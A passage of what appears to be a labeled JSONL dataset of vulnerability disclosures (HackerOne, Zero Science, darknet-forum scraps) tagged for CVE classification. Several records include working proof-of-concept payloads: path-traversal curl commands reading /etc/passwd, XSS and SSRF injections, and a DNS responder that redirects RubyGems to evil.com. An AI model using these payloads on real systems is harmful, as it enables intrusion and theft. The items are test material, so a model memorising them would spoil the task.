Security Advisory DSA-2730-1 gnupg -- information leak Date Reported:29 Jul 2013Affected Packages: gnupg (http://packages.debian.org/src:gnupg)Vulnerable:YesSecurity database references:In the Debian bugtracking system: Bug 717880 (http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=717880).In Mitre's CVE dictionary: CVE-2013-4242 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4242).More information: Yarom and Falkner discovered that RSA secret keys could be leaked via a side channel attack, where a malicious local user could obtain private key information from another user on the system. This update fixes this issue for the 1.4 series of GnuPG. GnuPG 2.x is affected through its use of the libgcrypt11 library, a fix for which will be published in DSA 2731. For the oldstable distribution (squeeze), this problem has been fixed in version 1.4.10-4+squeeze2. For the stable distribution (wheezy), this problem has been fixed in version 1.4.12-7+deb7u1. For the unstable distribution (sid), this problem has been fixed in version 1.4.14-1. We recommend that you upgrade your gnupg packages.", "source": "gayanku", "timestamp": "2013-08-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2e0fb3acf86c4b3ed3df", "text": "[Server-Side Request Forgery (SSRF)] SSRF on local storage of iOS mobile\n\n1. The tester uploaded the text file, containing \"test ssrf\" message, in order to proof SSRF attack.\n2. Next, the tester uploaded the common file and then manipulate the content and extension file to html format in order to find the application path: <svg/onload=document.write(document.location)> \n3. The tester access that file and found the application path to use for SSRF local file disclosure.\n4. Then, the tester uploaded the common file and then manipulate the content and extension file to html format in order to view the local file via SSRF attack: <iframe src=\"file://.../ssrfpoc.txt\" width=\"400\" height=\"400\"></iframe> \n5. The tester access that file and found that this application allow you to access and read the local file successfully.\n\n## Impact\n\nThis allow anyone to use other URLs such as that can access documents on the system/application (using file://) a.k.a Sensitive Data Exposure.", "source": "hackerone", "timestamp": "2020-03-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "8c49e2ba85ab7052d550", "text": "Teradek VidiU Pro 3.0.3 CSRF Change Password Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-05-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c66adb5a5642fe036418", "text": "Subrion CMS 2.2.1 Multiple Remote XSS POST Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-09-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5837a9dea691f80ea142", "text": "[Path Traversal] https://█████████ Vulnerable to CVE-2018-0296 Cisco ASA Path Traversal Authentication Bypass\n\nSummary:\nhttps://█████ is an ASA running software vulnerable to CVE-2018-0296 which allows a remote attacker to exploit a path traversal vulnerability and bypass authentication to sensitive files. The attacker can use this to enumerate the ASA VPN web directory structure and exploit privileged access to the system to gain access to session information.\n\nStep-by-step Reproduction Instructions\n\n1. You can exploit with cURL or Burp: \n`curl -vk -m 45 --path-as-is https://████████/+CSCOU+/../+CSCOE+/files/file_list.json`\n2. You can alter the command slightly to pull additional directory information: \n`curl -vk -m 45 --path-as-is https://█████████/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b` to dig into these privileged directories.\n3. I also pushed a request to repeater to do this in Burp for screenshots.\n\nProduct, Version, and Configuration (If applicable) https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd https://nvd.nist.gov/vuln/detail/CVE-2018-0296\n\nSuggested Mitigation/Remediation Actions\nUpgrade the ASA software version per the referenced advisory.\n\n## Impact\n\nHigh - This vulnerability allows the attacker to browse files past the authentication and disclose sensitive information.", "source": "hackerone", "timestamp": "2019-10-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9b69e68770c330544f4f", "text": "[Uncontrolled Resource Consumption] epee will accept an arbitrary amount of leading line-breaks in an http request\n\n**Summary:**\nIn the epee http protocol handler, as it reads a new request, it first attempts to ignore any leading carriage-returns and line-feeds. It does not have a mechanism to give up if an inordinate number of CrLfs are encountered.\n\n**Description:**\nThe pertinent block of code is here:\nhttps://github.com/monero-project/monero/blob/master/contrib/epee/include/net/http_protocol_handler.inl#L256\n\nIt loops through the data in the request. Before parsing anything of significance, it throws away any leading CrLfs by doing an erase from the from the front of the cache (which itself is expensive as it is a simple string as opposed to a string_view). An attacker could send an arbitrary number of CrLfs to any server with an exposed http port and cause the http server's handler thread to spin forever adding and removing the CrLfs from the cache.\n\n## Releases Affected:\n\nAll releases running the epee http framework.\n\n## Steps To Reproduce:\n\nCan simply telnet to a running monero node's http port and send as many carriage-returns and line-feeds and you'd like. The server will remain responsive until additional, non-CrLf data is sent over the connection.\n\n## Impact\n\nAn attacker could open multiple such connections across many nodes and tie up the http server threads and cause it to spin indefinitely, wasting resources, and preventing legitimate connections.", "source": "hackerone", "timestamp": "2018-08-02", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7a576207ab16d803371d", "text": "[Insecure Storage of Sensitive Information] PII Leak (such as CAC User ID) at https://████████/pages/login.aspx\n\n**Summary:**\nAn attacker can create an account on https://█████/pages/login.aspx and gain access to a wealth of PII for practically every member that is registered on the website. This information that the attacker has access to includes usernames, CAC User ID's, e-mail addresses, telephone numbers, first/middle/last name, and other information about a vast majority of U.S. military personnel. The portal also clearly indicates \"For Official Use Only - Privacy Sensitive\". Additionally, an attacker conveniently has access to export this data as a pdf, csv, or xls file, which makes data exfiltration easy. Note that this vulnerability appears to be very similar to report #808338. Please see the attached PoC videos (note that there are 2 videos because after I made the first video I realized I could scroll across and see the user's CAC User ID information, which seems very important in terms of logging into U.S. military systems). I believe this is a critical vulnerability based on the CVSS scale.\n\n## Impact\nAn adversary can sign up for an account on https://█████████/pages/login.aspx to gather a vast amount of PII related to a large portion of U.S. military personnel. This can be used for many purposes and should not be accessible by a regular user.\n\n## Step-by-step Reproduction Instructions\n\n1. Go to https://██████████/pages/login.aspx\n2. Select 'Request New Account' and log into your account\n3. Once logged in go to Administration -> User -> Users\n4. Observe all the information about different users on the platform\n\n## Product, Version, and Configuration (If applicable)\nhttps://██████/pages/login.aspx\n\n## Suggested Mitigation/Remediation Actions\nLimit this function to administrators only, as regular users should not be able to access this type of data (especially when any user can sign up from the open internet.\n\n##References\nPlease see the attached PoC videos.\n\n## Impact\n\nAn attacker can sign up for an account on https://█████████/pages/login.aspx to gather a vast amount of PII related to a large portion of U.S. military personnel. This information can then be used for various malicious purposes and should not be accessible by a regular user.", "source": "hackerone", "timestamp": "2020-11-02", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7adc98c2e8f23ff8e196", "text": "[Reddit Darknet Markets] Linux TCP vulnerability (CVE-2016-5696), its effects on Tor and what it means for DNM participants\n\nEli5 for a noob plz I use Linux distro with tor what does this mean for.me?", "source": "gayanku", "timestamp": "2016-08-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ca7e30feeb8e90b23af3", "text": "[Stack Overflow] mb_strtolower (UTF-32LE): stack-buffer-overflow at php_unicode_tolower_full (CVE-2020-7065)\n\nPHP bug report (made public by the maintainers at the time of writing): https://bugs.php.net/bug.php?id=79371\nMitre CVE page: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7065\nLink to the release notes: https://www.php.net/ChangeLog-7.php#7.4.4\n\n## Impact\n\nOne of impacts is that the issue allows an attacker to straightforwardly crash the PHP interpreter provided a specific UTF character can be passed to `mb_strtolower` function dealing with UTF-32LE encoding. \n\nOriginal summary from the bug report:\n> A call to `mb_strtolower` allows overwriting of a stack-allocated buffer with an overflown array from .rodata.\n\nDescription as provided by CVE database entry:\n> In PHP versions 7.3.x below 7.3.16 and 7.4.x below 7.4.34, while using mb_strtolower() function with UTF-32LE encoding, certain invalid strings could cause PHP to overwrite stack-allocated buffer. This could lead to memory corruption, crashes and potentially code execution.", "source": "hackerone", "timestamp": "2020-10-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "240b3c672411d20ccb7b", "text": "Automated Logic WebCTRL 6.5 Unrestricted File Upload Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2017-08-22", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c892aef9967defc14ec6", "text": "[Improper Authentication - Generic] Deleting Teams implemenation\n\nWhen deleting a team, it needed a proper authentication. It does not re authenticate the user if he is the legit owner who is trying to delete the team.\r\n\r\nIn a case where, we leave our account for a few minutes and somebody walks by then quickly delete our team.\r\n\r\nClifford", "source": "hackerone", "timestamp": "2014-08-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "8f0ee82c3b3c73e5202a", "text": "[File and Directory Information Exposure] Arbitrary File Reading leads to RCE in the Pulse Secure SSL VPN on the https://████\n\n##Description\nHello. Some time ago, researcher Orange Tsai from DEVCORE team had a talk on Defcon/BlackHat regarding Pulse Secure SSL VPN vulnerabilities fixed on 2019/4/25:\n**CVE-2019-11510 - Pre-auth Arbitrary File Reading**\nCVE-2019-11542 - Post-auth Stack Buffer Overflow\n**CVE-2019-11539 - Post-auth Command Injection**\nCVE-2019-11538 - Post-auth Arbitrary File Reading\n**CVE-2019-11508 - Post-auth Arbitrary File Writing**\nCVE-2019-11540 - Post-auth Session Hijacking\n\nLink to the slides: https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf\n\nI discovered that `https://██████████` instance is vulnerable to described vulnerabilities.\n\n##POC\n\nReading `/etc/passwd` via CVE-2019-11510:\n```\ncurl -i -k --path-as-is https://██████████/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/\n```\n```\n███████\n█████████\n██████████\n████\n█████\n██████\n███████\n████████\n███████\n```\n\nThe RCE can be achieved with this chain:\n1) Pulse Secure stores credentials in the cleartext.\n2) Attacker reads credentials and authorizes on VPN\n3) Attacker exploits CVE-2019-11539 - Post-auth Command Injection achieving RCE as root.\n\n##Suggested fix\nUpdate the Pulse Secure SSL VPN software.\n\n## Impact\n\nRemote code execution as root (by reading plaintext credentials and then exploiting CVE-2019-11539 - Post-auth Command Injection) and accessing intranet behind VPN.\nYou can see here example report to Twitter by Orange Tsai: https://hackerone.com/reports/591295", "source": "hackerone", "timestamp": "2021-07-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6fd37691d3ab03c6d096", "text": "[Unknown] [unikrn.com] Profile updated with error\":true,\"success\":false\"\n\nGreetings,\n\nWe noticed that even if the https://unikrn.com/apiv2/user/updateprofile gave an answer that the code is on error , the post is proceeded :\n\nPoC :\n--\n\n curl 'https://unikrn.com/apiv2/user/updateprofile' -XPOST -H 'Referer: https://unikrn.com/profile' -H 'Content-Type: application/json' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7' -H 'Origin: https://unikrn.com' -H 'DNT: 1' -H 'Accept: application/json, text/plain, */*' -H 'Application-Version: v3.9.1-1743-g043d784' --data-binary '{\"firstname\":\"RBCA\",\"lastname\":\"RBCA\",\"nickname\":\"Rbcafe\",\"street\":\"\",\"suburb\":\"\",\"state\":\"\",\"shipcountry\":null,\"postcode\":\"\",\"telephone\":null,\"phone_cc\":\"fr\",\"email\":\"bounty-1@rbcafe.com\",\"city\":\"\",\"avatar\":\"https://www.gravatar.com/avatar/0f2219216ab1e07d370b387d028a6535\",\"session_id\":\"bb6ig4dqkest1cbp3t11g4mpppjka56m\"}'\n\nResult :\n--\n\n {\"ver\":\"2.0\",\"error\":true,\"success\":false,\"msg\":\"file_wrong\",\"msg_trans\":\"file_wrong\",\"data\":[],\"code\":0,\"flds\":null,\"flds_errors\":null}\n\nVideo :\n--\n\n{F249242}\n\nImpact :\n--\n\nBypass the answer of the post and update a profile.\n\nFix :\n--\n\nIf the answer is success false, the POST should not be proceeded.\n\nBest regards.\n\nRbcafe\n\n## Impact\n\n- Bypass the answer of the post and update a profile.\n- Lack of control.", "source": "hackerone", "timestamp": "2019-06-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "52931710c62978d8b56b", "text": "[Information Disclosure] Wordpress Users Disclosure\n\n**Information**\nUsing REST API, we can see all the WordPress users/author with some of their information.\n\n**Step to Reproduce**\nYou can get user info by entering below url in your browser: \nhttps://nextcloud.com/wp-json/wp/v2/users\n\nReference: [#356047](https://hackerone.com/reports/356047)\n\n## Impact\n\nAuthors : LTR , LTREditor can be created scenario of doing bruteforce attacks to this users.", "source": "hackerone", "timestamp": "2019-07-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "6926d11a9d7fc2642767", "text": "[Cross-site Scripting (XSS) - Reflected] SafeParamsHelper::safe_params is not so safe\n\n### Summary\n\nGitLab uses [SafeParamsHelper](https://gitlab.com/gitlab-org/gitlab/-/blob/682a3c0134f2cfec9e5743aa97fbaf2a7d89e65f/app/helpers/safe_params_helper.rb#L8) to filter out some keys before passing them to `url_for`: \n\n```ruby\n def safe_params\n if params.respond_to?(:permit!)\n params.except(:host, :port, :protocol).permit!\n else\n params\n end\n end\n```\n\nThe issue is that there are a [lot more dangerous keys](https://github.com/rails/rails/blob/12f3f11f61eccc5d9423b288a08cb1fc7e60999b/actionpack/lib/action_dispatch/routing/route_set.rb#L781):\n\n```ruby\nRESERVED_OPTIONS = [:host, :protocol, :port, :subdomain, :domain, :tld_length,\n :trailing_slash, :anchor, :params, :only_path, :script_name,\n :original_script_name, :relative_url_root]\n```\n\nThis means that anywhere `safe_params` is used, the domain could be changed using the `domain` query. Most of the `build_canonical_path` methods call `url_for(safe_params)` which then gets used by [RoutableActions](https://gitlab.com/gitlab-org/gitlab/-/blob/682a3c0134f2cfec9e5743aa97fbaf2a7d89e65f/app/controllers/concerns/routable_actions.rb#L54):\n\n```ruby\ndef ensure_canonical_path(routable, requested_full_path)\n return unless request.get?\n\n canonical_path = routable.full_path\n if canonical_path != requested_full_path\n if !request.xhr? && request.format.html? && canonical_path.casecmp(requested_full_path) != 0\n flash[:notice] = \"#{routable.class.to_s.titleize} '#{requested_full_path}' was moved to '#{canonical_path}'. Please update any links and bookmarks that may still have the old path.\"\n end\n\n redirect_to build_canonical_path(routable)\n end\n end\n```\n\nThis creates an open redirect in all of the `RoutableActions` routes by making `canonical_path != requested_full_path` (eg using a capital letter) and adding the `domain` param:\n\n1. Visit https://gitlab.com/vakzz-h1/Redirect1?domain=aw.rs\n1. You will be redirected to https://aw.rs/\n\nThe other key that can be abused is `script_name`, as this is appended to the start of the url and can be used to fake a protocol such as javascript:\n\n1. Visit https://gitlab.com/vakzz-h1/redirect1/-/issues?script_name=javascript:alert(1)//\n1. Look at the RSS Feed link\n\n ```html\n<a class=\"btn btn-svg has-tooltip\" data-container=\"body\" title=\"\" href=\"javascript:alert(1)//vakzz-h1/redirect1/-/issues.atom?feed_token=XXXX&state=opened\" data-original-title=\"Subscribe to RSS feed\">\n <svg class=\"s16 qa-rss-icon\" data-testid=\"rss-icon\">\n <use xlink:href=\"https://gitlab.com/assets/icons-37f758fe6359f04ae912169432d8ddd9dd45a1316d8fa634996c10bd033e9726.svg#rss\"></use>\n </svg>\n</a>\n ```\n1. On gitlab.com this is blocked by the CSP\n\nThere are a bunch of other places that use `safe_params` that could be exploited such as the [_viewer.html.haml](https://gitlab.com/gitlab-org/gitlab/-/blob/682a3c0134f2cfec9e5743aa97fbaf2a7d89e65fapp/views/projects/blob/_viewer.html.haml#L7)\n\n```haml\n- viewer_url = local_assigns.fetch(:viewer_url) { url_for(safe_params.merge(viewer: viewer.type, format: :json)) } if load_async\n.blob-viewer{ data: { type: viewer.type, rich_type: rich_type, url: viewer_url, path: viewer.blob.path }, class: ('hidden' if hidden) }\n```\n\nThis allows an attacker to specify the `viewer_url` for the blob url. Since the json returned by the url has an `html` attributes it allows arbitrary html to be inserted. The below uses https://gitlab.com/-/snippets/1999965 as the viewer url and 1 click csp bypass (same as https://hackerone.com/reports/662287#activity-6026826) with https://gitlab.com/-/snippets/1999974/raw for the js payload:\n\n1. Visit https://gitlab.com/vakzz-h1/redirect1/-/blob/master/test.txt?script_name=/-/snippets/1999965/raw%23\n1. See the injected HTML:\n\n ```html\n<form>any <b>html</b> can go <button>here<a data-remote=\"true\" data-method=\"get\" data-type=\"script\" href=\"https://gitlab.com/-/snippets/1999974/raw\" class=\"atwho-view select2-drop-mask pik", "source": "hackerone", "timestamp": "2020-11-02", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "78f8403f5ed8a6b50e95", "text": "Sports Accelerator Suite v2.0 (news_id) Remote SQL Injection Vulnerability\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2010-08-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "94df1f53b83694649486", "text": "[Open Redirect] Open Redirect in Slack\n\nThis link shall redirect to google.co.in: http://prakhar.slack.com/link?url=http%3A%2F%2Fgoogle.co.in\r\n\r\nStraight, open redirection!\r\n\r\nThanks!", "source": "hackerone", "timestamp": "2014-05-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e4c402e0406cc25f8b23", "text": "[Code Injection] Request Hijacking Vulnerability in RubyGems 2.6.11 and earlier\n\n**Description:**\n\nThe RubyGems client supports a gem server API discovery functionality,\nwhich is used when pushing or pulling gems to a gem distribution/hosting\nserver, like RubyGems.org. This functionality is provided via a SRV DNS\nrequest to the users gem source hostname prepended with \"_rubygems._tcp.\".\nThe response to this request tells the RubyGems client (aka: the gem\ncommand) where the users gem server API is. In the default RubyGems\nscenario, with a gem source of https://rubygems.org, the users SRV DNS\nrequest and reply will look like this:\n\n ~ $ dig srv _rubygems._tcp.rubygems.org +short\n 0 1 80 api.rubygems.org.\n\nDue to a deficiency in DNS response verification, a MiTM positioned \nattacker can poison the DNS response to this record response and force\nthe client to unknowingly download and install Ruby gems from an attacker\ncontrolled gem server in an alternate security domain. An example of\nsuch a scenario would look like so:\n\n ~ $ dig _rubygems._tcp.rubygems.org SRV +short\n 0 0 53 evil.com/api.rubygems.com.\n\nIn such a scenario, the attacker is able to serve the client malicious gem\ncontent, resulting in trivial remote code execution scenarios. For\nexample, the attacker could simply modify the gem source code and trigger\ncode execution via the extensions API at install time on the client machine\n(a gem trojaning technique described by Ben Smith in his \"Hacking with\nGems\" presentation at Aloha Ruby Conference in 2012 -\nhttps://www.youtube.com/watch?v=z-5bO0Q1J9s)/\n\nThis vulnerability has the same net effect/impact as [CVE-2015-3900](https://nvd.nist.gov/vuln/detail/CVE-2015-3900) and\n[CVE-2015-4020](https://nvd.nist.gov/vuln/detail/CVE-2015-4020).\n\n**Affected method in Gem::RemoteFetcher:**\n\nhttps://github.com/rubygems/rubygems/blob/5096fa35c1ca3e0a7d175aaf9d77cd93114fd977/lib/rubygems/remote_fetcher.rb#L101-L119\n\n**PoC DNS SRV Responder:**\n\n #!/usr/bin/env ruby\n require 'rubydns'\n require 'rubydns/system'\n INTERFACES = [\n \t[:udp, \"0.0.0.0\", 53],\n \t[:tcp, \"0.0.0.0\", 53]\n ]\n Name = Resolv::DNS::Name\n IN = Resolv::DNS::Resource::IN\t\n RubyDNS::run_server(:listen => INTERFACES) do\n match(//, IN::SRV) do |transaction|\n transaction.respond!(0,0,53,\"evil.com/api.rubygems.com\")\n end\n end\n\n**Recommendations:**\n\nConsider this small patch to address the immediate attack vector...\n\n - if /\\.#{Regexp.quote(host)}\\z/ =~ target\n + if (/\\.#{Regexp.quote(host)}\\z/ =~ target) && !target.include?(\"/\")\n\nAlso, consider moving away from doing API discovery via DNS. Would recommend \nmoving to HTTPS, where you will have a stronger transport security chain.\n\n**References (these are not new, just references prior work here to help triage team understand impact):**\n\n- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-007/?fid=6356\n- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-009/?fid=6478\n- https://speakerdeck.com/claudijd/trojaned-gems-you-cant-tell-youre-using-one\n- http://blog.rubygems.org/2015/05/14/CVE-2015-3900.html", "source": "hackerone", "timestamp": "2017-08-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "928dc930cdd64c0eeb8a", "text": "[Reddit Darknet Markets] SouthPole 115μg LSD Review\n\nMicrosoft | Exploit:Win32/CVE-2006-1302 | 20150928 \n---|---|----\n\nhttps://www.virustotal.com/en/file/522a2d509991a1d7dad7f0cdbae085e9ff3cae192e195e69b3a02cbfa27bd575/analysis/1443404297/\n\n>Buffer overflow in Microsoft Excel 2000 through 2003 allows user-assisted attackers to execute arbitrary code via a .xls file with certain crafted fields in a SELECTION record, which triggers memory corruption, aka \"Malformed SELECTION record Vulnerability.\" \n\n> **Access Vector**: *Network exploitable; Victim must voluntarily interact with attack mechanism* \n\nGet the fuck out.", "source": "gayanku", "timestamp": "2015-09-28", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b51defb582b98992aab0", "text": "[UI Redressing (Clickjacking)] Clickjacking at ylands.com\n\nHi team,\n\nWhile performing security testing of your website i have found the vulnerability called Clickjacking.\nMany URLS are in scope and vulnerable to Clickjacking. \n\nWhat is Clickjacking ?\nClickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.\nThe server didn't return an X-Frame-Options header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame> or <iframe>. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.\nThis vulnerability affects Web Server.\n\n Steps to Reproduce / POC\n\nVulnerable Urls:\n https://ylands.com/\n\thttps://workshop.ylands.com/\n\thttps://dayz.com/\n\thttp://armamobileops.com/\n\thttps://minidayz.com/\n\n\n Put every above url one by one in the code of iframe, which is given below\n---------------------------------------------------\n\n<!DOCTYPE HTML>\n<html lang=\"en-US\">\n<head>\n<meta charset=\"UTF-8\">\n<title>I Frame\n\n\n

clickjacking vulnerability

\n\n\n\n\nBy Tahir Javed\ntahirjavedbhutta@gmail.com\n\n------------------------------------------------------\n\n Notice that site is visible in the Iframe\n\nPOC is in the attachments. Thanks, waiting for your response.\n\n## Impact\n\nUsing a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker.", "source": "hackerone", "timestamp": "2019-03-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "8bbfe0a58f50053b0448", "text": "Kemana Directory 1.5.6 Database Backup Disclosure Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2014-03-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "13db8edd04070723f593", "text": "[Evolution] VNC servers - USA [any state / clean / for all your carding needs]\n\nordered, will leave a review once i receive", "source": "gayanku", "timestamp": "2014-10-31", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "6dd7d0d2a95ada839ec8", "text": "Adobe Photoshop Elements 8.0 Multiple Arbitrary Code Execution Vulnerabilities\n\nSeverity: high", "source": "zeroscience", "timestamp": "2011-10-01", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "fea7218fdf2800a56626", "text": "IBM System Storage DS Storage Manager Profiler Multiple Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-06-20", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "05882c38cc7cea46c2b5", "text": "[Evolution] questions about pizza\n\nlittle ceasers is the worst pizza ever id rather eat dog food", "source": "gayanku", "timestamp": "2014-06-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "52e5f78af5553e574ec5", "text": "[Buffer Over-read] CVE-2017-13009 The IPv6 mobility parser in tcpdump before 4.9.2 has a buffer over-read in print-mobility.c:mobility_print().\n\nReported to the devs on 6 March 2017.\nTcpdump 4.9.2 released on 8 September 2017.\nPatch: https://github.com/the-tcpdump-group/tcpdump/commit/db8c799f6dfc68765c9451fcbfca06e662f5bd5f\n\n`The IPv6 mobility parser in tcpdump before 4.9.2 has a buffer over-read in print-mobility.c:mobility_print().`\n\n```\n./tcpdump -n -r test005\n\n==2606==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000dfff at pc 0x0000005ca779 bp 0x7ffe216cc6f0 sp 0x7ffe216cc6e8\nREAD of size 1 at 0x60400000dfff thread T0\n #0 0x5ca778 in mobility_print /root/tcpdump/./print-mobility.c:301:7\n #1 0x575edc in ip6_print /root/tcpdump/./print-ip6.c:326:14\n #2 0x57458c in ipN_print /root/tcpdump/./print-ip.c:700:3\n #3 0x626c17 in raw_if_print /root/tcpdump/./print-raw.c:42:2\n #4 0x4de2e9 in pretty_print_packet /root/tcpdump/./print.c:339:18\n #5 0x4cc5fb in print_packet /root/tcpdump/./tcpdump.c:2556:2\n #6 0x773e10 in pcap_offline_read /root/libpcap/./savefile.c:527:4\n #7 0x6a258c in pcap_loop /root/libpcap/./pcap.c:1657:8\n #8 0x4c8a6e in main /root/tcpdump/./tcpdump.c:2059:12\n #9 0x7f0f6ba90b44 in __libc_start_main /build/glibc-qK83Be/glibc-2.19/csu/libc-start.c:287\n #10 0x4c3ccc in _start (/root/tcpdump/tcpdump+0x4c3ccc)\n\n0x60400000dfff is located 0 bytes to the right of 47-byte region [0x60400000dfd0,0x60400000dfff)\nallocated by thread T0 here:\n #0 0x4a664b in __interceptor_malloc (/root/tcpdump/tcpdump+0x4a664b)\n #1 0x775763 in pcap_check_header /root/libpcap/./sf-pcap.c:401:14\n #2 0x773472 in pcap_fopen_offline_with_tstamp_precision /root/libpcap/./savefile.c:400:7\n #3 0x773204 in pcap_open_offline_with_tstamp_precision /root/libpcap/./savefile.c:307:6\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /root/tcpdump/./print-mobility.c:301 mobility_print\n```", "source": "hackerone", "timestamp": "2019-10-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d63cb1cafdb4f6f5f2ea", "text": "[Uncontrolled Resource Consumption] XML hash collision DoS vulnerability in Python's xml.etree module\n\nPython's standard library uses libexpat to parse XML. Internally the expat library has a hash table implementation to efficiently store and lookup DTD elements like entities, elements, attributes, etc. Hash tables are potentially vulnerable to hash collision Denial-of-Service attacks, which turns a hash insert or lookup from O(1) best case scenario to O(n) worst case scenario. To mitigate hash collision attacks, expat introduced hash randomization.\n\nHash randomization depends on a good, unpredictable seed. The expat library either uses the operating systems CSPRNG or expects the application to set a good hash seed with ``XML_SetHashSalt()`` call. Python's standard library decided to go for ``XML_SetHashSalt()``. Due to an oversight, ``XML_SetHashSalt()`` was only used in the ``pyexpat`` module, but not in the C-accelerator module ``_elementtree`` for ``xml.etree`` subpackage. As a consequence, the ``xml.etree`` parser used a low entropy and potentially predictable RNG on all platforms except Windows and very recent Linux versions with ``getrandom()`` syscall in libc. Since Python's autoconf system doesn't define ``XML_DEV_URANDOM``, ``/dev/urandom`` wasn't used either. Further more expat's internal error check was disabled with ``XML_POOR_ENTROPY=1``, too.\n\n## Bug report\nRed Hat Product Security has assigned CVE-2018-14647 for this issue. The bug is tracked in upstream ticket https://bugs.python.org/issue34623 and will be fixed in the next releases of Python\n\n## Resources \n* https://bugs.python.org/issue14234\n* https://bugs.python.org/issue30947\n* https://bugs.python.org/issue34623\n* https://libexpat.github.io/doc/expat-internals-the-hash-tables/\n\n## Impact\n\nAn attack can abuse the vulnerability to mount a hash collision Denial-of-Service attack with carefully crafted XML data with a large DTD. Any server or client that parses XML, is potentially vulnerable.", "source": "hackerone", "timestamp": "2018-10-31", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "946dfd1e06c1454999e0", "text": "Newtec Satellite Modem MDM6000 2.2.5 Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-08-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a0095ac12dfde787a673", "text": "Native Instruments Traktor Pro 1.2.6 Stack-based Buffer Overflow Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-11-20", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "4aa31fcb50c37c775102", "text": "TECO SG2 FBD Client 3.51 SEH Overwrite Buffer Overflow Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2015-11-15", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7cb3f5e58252a54cf09f", "text": "[Memory Corruption - Generic] CVE-2016-0799 memory issues in BIO_*printf functions\n\nhttps://github.com/openssl/openssl/commit/9cb177301fdab492e4cfef376b28339afe3ef663", "source": "hackerone", "timestamp": "2016-03-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "cb9fec9aa4dabd9c665f", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Privilege Escalation\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6bd1dee6b5231a0596cb", "text": "TP-Link TL-SC3130 1.6.18 Unauthenticated RTSP Stream Disclosure Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-10-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "00f63f7879603079bd45", "text": "Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-04-20", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c91b4a7f12e87ccff369", "text": "[Privilege Escalation] Privilege Escalation through Keybase Installer via Helper\n\nKeybase.app is bundled with the components installer named KeybaseInstaller.app. When `--install-app-bundle --source-path --app-path ` is given to installer, KBAppBundle.m checks if `` is properly codesigned, then copies it to 